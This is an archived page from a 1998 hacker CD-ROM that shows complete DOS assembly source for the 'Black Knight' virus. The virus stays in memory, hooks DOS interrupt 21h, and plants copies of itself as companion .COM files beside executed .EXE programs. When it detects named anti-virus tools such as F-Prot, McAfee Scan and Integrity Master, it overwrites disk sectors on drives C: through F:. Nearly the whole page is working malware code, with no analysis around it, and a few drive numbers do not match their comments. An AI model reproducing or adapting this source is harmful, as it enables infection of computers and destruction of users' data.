home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / blknight.asm / text0000.txt < prev   
Encoding:
Text File  |  2003-06-11  |  7.6 KB  |  378 lines

  1. ;Black Knight Anti-Virus-Virus
  2. ;Size - 520
  3. ;
  4. ;Tasm BKNIGHT
  5. ;Tlink /T BKNIGHT
  6. ;Memory Resident Companion Virus
  7. ;Anti-Anti-Virus 
  8. ;Formats Drives C: to F: When Anti-Virus Product Is Ran
  9. ;Tempest - _ Of Luxenburg
  10. ;
  11.  
  12.         .radix 16
  13.      cseg       segment
  14.         model  small
  15.         assume cs:cseg, ds:cseg, es:cseg
  16.  
  17.         org 100h
  18.  
  19. oi21            equ endit
  20. filelength      equ endit - begin
  21. nameptr         equ endit+4
  22. DTA             equ endit+8
  23.  
  24.      
  25.  
  26.  
  27.  
  28.  
  29. begin:          jmp     virus_install                              
  30.  
  31. virus_name:            
  32.         db     'Black Knight'
  33.         
  34.  
  35.                          ;install
  36. virus_install:  
  37.         nop
  38.         nop
  39.         nop
  40.         mov     ax,cs                    ; reduce memory size   
  41.   
  42.         dec     ax                           
  43.         mov     ds,ax                        
  44.         cmp     byte ptr ds:[0000],5a        
  45.         jne     cancel                        
  46.         mov     ax,ds:[0003]                 
  47.         sub     ax,100                        
  48.         mov     ds:0003,ax
  49. Zopy_virus:  
  50.         mov     bx,ax                    ; copy to claimed block 
  51.  
  52.         mov     ax,es                        
  53.         add     ax,bx                       
  54.         mov     es,ax
  55.         mov     cx,offset endit - begin                    
  56.         mov     ax,ds                       
  57.         inc     ax
  58.         mov     ds,ax
  59.         lea     si,ds:[begin]            
  60.         lea     di,es:0100                  
  61.         rep     movsb                       
  62.                             
  63.  
  64.  
  65. Grab_21:                                     
  66.         
  67.         mov     ds,cx                   ; hook int 21h
  68.         mov     si,0084h                ; 
  69.         mov     di,offset oi21
  70.         mov     dx,offset check_exec
  71.         lodsw
  72.         cmp     ax,dx                   ;
  73.         je      cancel                  ; exit, if already 
  74. installed
  75.         stosw
  76.         movsw
  77.         
  78.         push    es 
  79.         pop     ds
  80.         mov     ax,2521h                ; revector int 21h to 
  81. virus
  82.         nop
  83.         int     21h
  84.         nop                                
  85.  
  86. cancel:         ret          
  87.  
  88. check_exec:     
  89.         pushf
  90.  
  91.         push    es                     ; push everything onto 
  92. the
  93.         push    ds                     ; stack
  94.         push    ax
  95.         push    bx
  96.         push    dx
  97.  
  98.         cmp     ax,04B00h               ; is the file being 
  99.         
  100.         
  101.         
  102.         jne     abort                   ; executed?
  103.         
  104.         
  105.  
  106.  
  107.                          ;if yes, try the_stinger
  108. do_infect:      call    infect                  ; then try to infect
  109.         
  110.         
  111.                   
  112.  
  113. abort:                                        ; restore everything
  114.         pop     dx
  115.         pop     bx
  116.         pop     ax
  117.         pop     ds
  118.         pop     es
  119.         popf
  120.  
  121. Bye_Bye:      
  122.                    ; exit
  123.         jmp     dword ptr cs:[oi21]                     
  124.  
  125.  
  126. new_24h:        
  127.         mov     al,3             ; critical error handler
  128.         iret
  129.  
  130. infect:          
  131.         mov     cs:[name_seg],ds       ; here, the virus 
  132. essentially
  133.         mov     cs:[name_off],dx       ; copies the name of the
  134.         
  135.         cld                            ; loaded file into a 
  136. buffer
  137.         mov     di,dx                  ; so that it can be 
  138. compared
  139.         push    ds                     ; against the default 
  140. names
  141.         pop     es                     ; in the_stinger
  142.         mov     al,'.'                 ; subroutine 
  143.         repne   scasb                  ; <-- 
  144.         
  145.         call    the_stinger            ; check for anti-virus 
  146. load
  147.                            ; and deploy the_stinger
  148.         
  149.         
  150.         
  151.         cld
  152.         mov     word ptr cs:[nameptr],dx
  153.         mov     word ptr cs:[nameptr+2],ds
  154.  
  155.         mov     ah,2Fh
  156.         int     21h
  157.         push    es
  158.         push    bx
  159.  
  160.         push    cs
  161.  
  162.         pop     ds
  163.         mov     dx,offset DTA
  164.         mov     ah,1Ah
  165.         int     21h
  166.  
  167.         call    searchpoint
  168.         push    di
  169.         mov     si,offset COM_txt
  170.  
  171.         mov     cx,3
  172.      rep    cmpsb 
  173.         pop     di
  174.         jz      do_com
  175.         mov     si,offset EXE_txt
  176.         nop
  177.         mov     cl,3
  178.         rep     cmpsb
  179.         jnz     return
  180.  
  181. do_exe:         mov     si,offset COM_txt
  182.         nop
  183.         call    change_ext
  184.         mov     ax,3300h
  185.         nop
  186.         int     21h
  187.         push    dx
  188.  
  189.         cwd
  190.         inc     ax
  191.         push    ax
  192.         int     21h
  193.  
  194. Grab24h:        
  195.         
  196.         mov     ax,3524h         
  197.         int     21h        
  198.         push    bx
  199.         push    es
  200.         push    cs
  201.         pop     ds
  202.         mov     dx,offset new_24h
  203.         mov     ah,25h
  204.         push    ax
  205.         int     21h
  206.         
  207.         
  208.         lds     dx,dword ptr [nameptr]  ;create the virus 
  209. (unique name)
  210.         xor     cx,cx
  211.         mov     ah,05Bh
  212.         int     21
  213.         jc      return1                 
  214.         xchg    bx,ax                   ;save handle
  215.         
  216.  
  217.  
  218.         push    cs
  219.         pop     ds
  220.         mov     cx,filelength          ;cx= length of virus
  221.         mov     dx,offset begin        ;where to start copying
  222.         mov     ah,40h                 ;write the virus to the 
  223.         int     21h                    ;new file
  224.  
  225.         mov     ah,3Eh                 ; close
  226.         int     21h
  227.  
  228. return1:        pop     ax
  229.         pop     ds
  230.         pop     dx
  231.         int     21h
  232.         
  233.         pop     ax
  234.         pop     dx
  235.         int     21h
  236.         
  237.         mov     si,offset EXE_txt
  238.         call    change_ext
  239.         
  240. return:         mov     ah,1Ah
  241.         pop     dx
  242.         pop     ds
  243.         int      21H
  244.  
  245.         ret
  246.  
  247. do_com:         call    findfirst                 
  248.         cmp     word ptr cs:[DTA+1Ah],endit - begin
  249.         jne     return
  250.         mov     si,offset EXE_txt
  251.         call    change_ext
  252.         call    findfirst
  253.         jnc     return
  254.         mov     si,offset COM_txt
  255.         call    change_ext
  256.         jmp     short return
  257.  
  258. searchpoint:    les     di,dword ptr cs:[nameptr]
  259.         mov     ch,0FFh
  260.         mov     al,0
  261.      repnz  scasb
  262.         sub     di,4
  263.         ret
  264. change_ext:     call    searchpoint
  265.         push    cs
  266.         pop     ds
  267.         movsw
  268.         movsw
  269.         ret
  270.  
  271. findfirst:      lds     dx,dword ptr [nameptr]
  272.         mov     cl,27h
  273.         mov     ah,4Eh
  274.         int     21h
  275.         ret
  276.              
  277. the_stinger:
  278.         cmp     word ptr es:[di-3],'MI'    ;Integrity Master
  279.         je      jumptoass                
  280.         
  281.         cmp     word ptr es:[di-3],'XR'    ;VIRX
  282.         je      jumptoass                
  283.         
  284.         cmp     word ptr es:[di-3],'PO'    ;VIRUSTOP
  285.         jne     next1                     
  286.         cmp     word ptr es:[di-5],'TS'   
  287.         je      jumptoass                
  288.  
  289. next1:          cmp     word ptr es:[di-3],'VA'    ;AV = CPAV
  290.         je      jumptoass                     
  291.         
  292.         cmp     word ptr es:[di-3],'TO'    ;*prot = F-prot
  293.         jne     next2                
  294.         cmp     word ptr es:[di-5],'RP'  
  295.         je      jumptoass                     
  296.  
  297. next2:          cmp     word ptr es:[di-3],'NA'    ;*scan = McAfee's 
  298. Scan.
  299.         jne     next3                
  300.         cmp     word ptr es:[di-5],'CS'  
  301.         je      jumptoass                     
  302.         
  303.         cmp     word ptr es:[di-3],'NA'    ;*lean = McAfee's 
  304. CLEAN.
  305.         jne     next3                      ; why not, eh?
  306.         cmp     word ptr es:[di-5],'EL'  
  307.         je      jumptoass                     
  308. next3:          ret                
  309. jumptoass:      jmp     nuke                  ;assassination (deletion)
  310.                         ; of anti-virus program
  311.  
  312.         
  313.         
  314. nuke:                
  315.         mov     al,2                   ;Lets Total The C: Drive
  316.         mov     cx,25
  317.         cli                             ; Keeps Victim From 
  318. Aborting
  319.         cwd                          
  320.         int     026h                
  321.         sti                         
  322.  
  323.         mov     al,3                   ;Lets Total The D: Drive
  324.         mov     cx,25
  325.         cli                             ; Keeps Victim From 
  326. Aborting
  327.         cwd                          
  328.         int     026h                
  329.         sti                         
  330.  
  331.         mov     al,3                   ;Lets Total The E: Drive
  332.         mov     cx,25
  333.         cli                             ; Keeps Victim From 
  334. Aborting
  335.         cwd                          
  336.         int     026h                
  337.         sti                         
  338.  
  339.  
  340.         mov     al,5                   ;Lets Total The F: Drive
  341.         mov     cx,25
  342.         cli                             ; Keeps Victim From 
  343. Aborting
  344.         cwd                          
  345.         int     026h                
  346.         sti                         
  347.  
  348.  
  349. EXE_txt         db  'EXE',0
  350. COM_txt         db  'COM',0
  351.  
  352.  
  353.  
  354. data_1          db      0
  355. data_2          db      0
  356.  
  357. last            db     090H
  358. name_seg        dw  ?
  359. name_off        dw  ?
  360.  
  361. c1              db       0          
  362. c2              db       0          
  363. c3              db       0          
  364. c4              db       0          
  365. c5              db       0          
  366. virus_man:      db      'Tempest - _ Of Luxenburg'
  367.                
  368. endit:
  369.  
  370.  
  371. cseg            ends
  372.         end begin
  373.  
  374.  
  375.  
  376.  
  377.  
  378.